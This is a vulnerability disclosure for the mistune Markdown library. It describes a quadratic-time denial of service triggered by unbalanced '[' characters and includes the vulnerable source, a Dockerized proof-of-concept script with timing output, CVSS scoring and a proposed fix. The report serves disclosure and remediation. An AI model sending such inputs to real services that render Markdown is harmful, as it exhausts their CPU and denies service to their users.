mistune: quadratic-time DoS in inline link parser on unbalanced [

Summary

mistune 3.x (verified on 3.2.1, the latest release) parses Markdown containing
unbalanced [ / ![ characters in O(n²) time: a small, unauthenticated input
of n opening brackets forces n forward scans over the remaining text. This
lets an attacker make a worker spend minutes of CPU on a few tens of kilobytes
of input rendered through the default public API, in both escape=True and
escape=False configurations. Likely CWE-1333 (Inefficient Regular
Expression / algorithmic complexity) leading to CWE-400 (Uncontrolled
Resource Consumption).

Details

When the inline parser meets a [ (or ![), it tries to read the link text.
The fast, bounded label path fails on unbalanced brackets, so it falls back to
parse_link_text, which walks the remaining input bracket-by-bracket looking
for the matching ].

src/mistune/helpers.py:110-133 (tag v3.2.1):

def parse_link_text(src: str, pos: int) -> Union[Tuple[str, int], Tuple[None, None]]:
    level = 1
    found = False
    start_pos = pos

    while pos < len(src):
        m = _INLINE_SQUARE_BRACKET_RE.search(src, pos)   # scans to next [ or ]
        if not m:
            break
        pos = m.end()
        marker = m.group(0)
        if marker == "]":
            level -= 1
            if level == 0:
                found = True
                break
        else:
            level += 1
    ...
    return None, None

For an input of n consecutive [ with no ], this loop walks every
remaining bracket — O(n) work — and then returns None (no link). The driving
scan in src/mistune/inline_parser.py:332-359 then advances the cursor by one
character and re-enters at the next [, which runs parse_link_text again over
the rest of the string. n opening brackets therefore cost
O(n) + O(n−1) + … = O(n²) total. parse_link invokes this fallback at
src/mistune/inline_parser.py:129.

In-repo asymmetry. The sibling label path is explicitly length-bounded:
LINK_LABEL = r"(?:[^\\\[\]]|\\.){0,500}" at src/mistune/helpers.py:10, used
by _INLINE_LINK_LABEL_RE at src/mistune/helpers.py:101. The
parse_link_text fallback has no such bound and scans to end of input. The
codebase already establishes the convention of capping bracket scanning; it is
simply missing on this path.

The affected function is reachable from every documented entry point
(mistune.html, mistune.create_markdown(...), Markdown.parse) because it
lives in the shared core inline parser; no plugin or non-default option is
required.

PoC

Self-contained; runs entirely in Docker against the pinned PyPI release. The
input is fed through the public rendering API exactly as a consumer renders
untrusted Markdown — nothing untrusted is executed; the demonstrated effect is
CPU time. control is benign text of identical length (linear); exploit is
the same number of bytes as unbalanced [ (quadratic).

Dockerfile:

# Pinned to the exact released version under audit. Installed from PyPI,
# never built from a local working tree.
FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir mistune==3.2.1
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]

poc.py:

#!/usr/bin/env python3
"""
PoC: Quadratic-time (O(n^2)) denial of service in mistune's inline link parser.

control  = a benign Markdown string of identical byte length (parses linearly)
exploit  = the same number of bytes filled with unbalanced '[' brackets
"""
from __future__ import annotations

import time

import mistune

RENDERERS = {
    "mistune.html()            [escape=False, default]": mistune.html,
    "create_markdown()         [escape=True,  safe mode]": mistune.create_markdown(),
}

SIZES = [1000, 2000, 4000, 8000]   # doublings: quadratic ~4x each, linear ~2x
HEADLINE_N = 16000                 # one larger point to make the cost concrete


def control_input(n: int) -> str:
    return "a" * n


def exploit_input(n: int) -> str:
    return "[" * n


def timed(render, text: str) -> float:
    start = time.perf_counter()
    render(text)
    return time.perf_counter() - start


def main() -> int:
    print("mistune version:", mistune.__version__)

    confirmed = True
    for label, render in RENDERERS.items():
        print(f"\n== {label} ==")
        print(f"  {'n':>7} {'control (ms)':>14} {'exploit (ms)':>14} "
              f"{'exploit vs prev':>16}")
        prev = None
        ratios = []
        last_c = last_e = 0.0
        for n in SIZES:
            c_ms = timed(render, control_input(n)) * 1000.0
            e_ms = timed(render, exploit_input(n)) * 1000.0
            if prev:
                r = e_ms / prev
                ratios.append(r)
                ratio_s = f"{r:.2f}x"
            else:
                ratio_s = "-"
            print(f"  {n:>7} {c_ms:>14.2f} {e_ms:>14.2f} {ratio_s:>16}")
            prev, last_c, last_e = e_ms, c_ms, e_ms

        avg_ratio = sum(ratios) / len(ratios) if ratios else 0.0
        amp = last_e / max(last_c, 1e-3)
        print(f"  mean per-doubling growth: {avg_ratio:.2f}x  "
              f"(linear≈2.0x, quadratic≈4.0x)")
        print(f"  amplification at n={SIZES[-1]}: exploit is {amp:,.0f}x slower "
              f"than equal-length benign input")
        if not (avg_ratio > 3.0 and amp > 200):
            confirmed = False

    e_ms = timed(mistune.html, exploit_input(HEADLINE_N)) * 1000.0
    c_ms = timed(mistune.html, control_input(HEADLINE_N)) * 1000.0
    print(f"\n== headline (mistune.html, n={HEADLINE_N}, ~{HEADLINE_N//1000} KB) ==")
    print(f"  benign  {HEADLINE_N}-byte input: {c_ms:>10.1f} ms")
    print(f"  exploit {HEADLINE_N}-byte input: {e_ms:>10.1f} ms  "
          f"({e_ms / max(c_ms, 1e-3):,.0f}x slower)")
    print("  (quadratic growth means ~50 KB takes minutes of CPU on one core)")

    print("\n== VERDICT ==")
    if confirmed:
        print("  CONFIRMED: unbalanced '[' input is parsed in O(n^2) time through")
        print("  the documented public API, in both default and safe-mode")
        print("  configurations, while equal-length benign input stays linear.")
        return 0
    print("  NOT REPRODUCED")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

test.sh:

#!/bin/sh
set -e
echo "=== Version under test ==="
pip show mistune 2>/dev/null | grep -E '^(Name|Version):'
echo
python3 /poc/poc.py

Build and run:

docker build -t mistune-linktext-dos-poc ./poc
docker run --rm mistune-linktext-dos-poc

Observed output (mistune 3.2.1):

=== Version under test ===
Name: mistune
Version: 3.2.1

mistune version: 3.2.1

== mistune.html()            [escape=False, default] ==
        n   control (ms)   exploit (ms)  exploit vs prev
     1000           0.91          62.77                -
     2000           0.06         235.78            3.76x
     4000           0.11         955.49            4.05x
     8000           0.21        3839.09            4.02x
  mean per-doubling growth: 3.94x  (linear≈2.0x, quadratic≈4.0x)
  amplification at n=8000: exploit is 17,915x slower than equal-length benign input

== create_markdown()         [escape=True,  safe mode] ==
        n   control (ms)   exploit (ms)  exploit vs prev
     1000           0.87          66.51                -
     2000           0.39         262.35            3.94x
     4000           0.75         973.54            3.71x
     8000           1.62        3970.80            4.08x
  mean per-doubling growth: 3.91x  (linear≈2.0x, quadratic≈4.0x)
  amplification at n=8000: exploit is 2,451x slower than equal-length benign input

== headline (mistune.html, n=16000, ~16 KB) ==
  benign  16000-byte input:        0.5 ms
  exploit 16000-byte input:    16030.4 ms  (31,059x slower)
  (quadratic growth means ~50 KB takes minutes of CPU on one core)

== VERDICT ==
  CONFIRMED: unbalanced '[' input is parsed in O(n^2) time through
  the documented public API, in both default and safe-mode
  configurations, while equal-length benign input stays linear.

The result is deterministic in character: per-doubling time grows ~4x (the
signature of O(n²)) while equal-length benign input stays in the sub-millisecond
range. Absolute milliseconds vary with hardware; the growth ratio does not.

Impact

Unauthenticated denial of service against any application that renders
attacker-supplied Markdown with mistune — comment systems, wikis, chat, issue
trackers, note apps, SaaS preview endpoints. The trigger is a short ASCII string
of [ characters with no special headers or options, and it fires in the
default configuration through the top-level mistune.html API as well as the
escape=True safe-mode renderer. Because cost is quadratic, an attacker scales
the damage cheaply: ~16 KB ties up a core for ~16 s here, and ~50 KB runs for
minutes; a handful of concurrent requests can exhaust a render pool.

Proposed severity: High, CVSS 3.1
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5. Scope is Unchanged (the impact
stays within the rendering process). For consumers that require authentication
before accepting Markdown, the conservative variant PR:L
(AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) = 6.5 applies. This is proposed, not
asserted; the maintainer is best placed to judge the typical deployment.

Recommended fix

Bound the fallback scan so it cannot exceed linear total cost, mirroring the
existing LINK_LABEL = {0,500} cap already used on the label path
(src/mistune/helpers.py:10). For example, cap the number of brackets / total
distance parse_link_text will walk before giving up (returning None once a
reasonable link-text length is exceeded), or have the inline driver avoid
re-running the full forward scan from each subsequent unmatched [. Either
keeps valid links working while removing the quadratic blowup. The maintainer
makes the final call on the exact bound.

References

• CWE-1333 — https://cwe.mitre.org/data/definitions/1333.html
• CWE-400 — https://cwe.mitre.org/data/definitions/400.html
• Affected source (tag v3.2.1): src/mistune/helpers.py:110-133 (sink),
  src/mistune/helpers.py:10,101 (the bounded label path that is not mirrored),
  src/mistune/inline_parser.py:129 and :332-359 (the driving re-scan).
• Novelty: distinct from the published link-title DoS advisories
  (LINK_TITLE_RE / parse_link_title), which concern regex backtracking in
  link titles and were addressed in 3.2.1; this is the unbounded link-text
  bracket scan in parse_link_text. That function's scan loop is unchanged
  since commit c1ecf1c (the original 3.x implementation), and
  origin/main == v3.2.1, so the latest release is affected.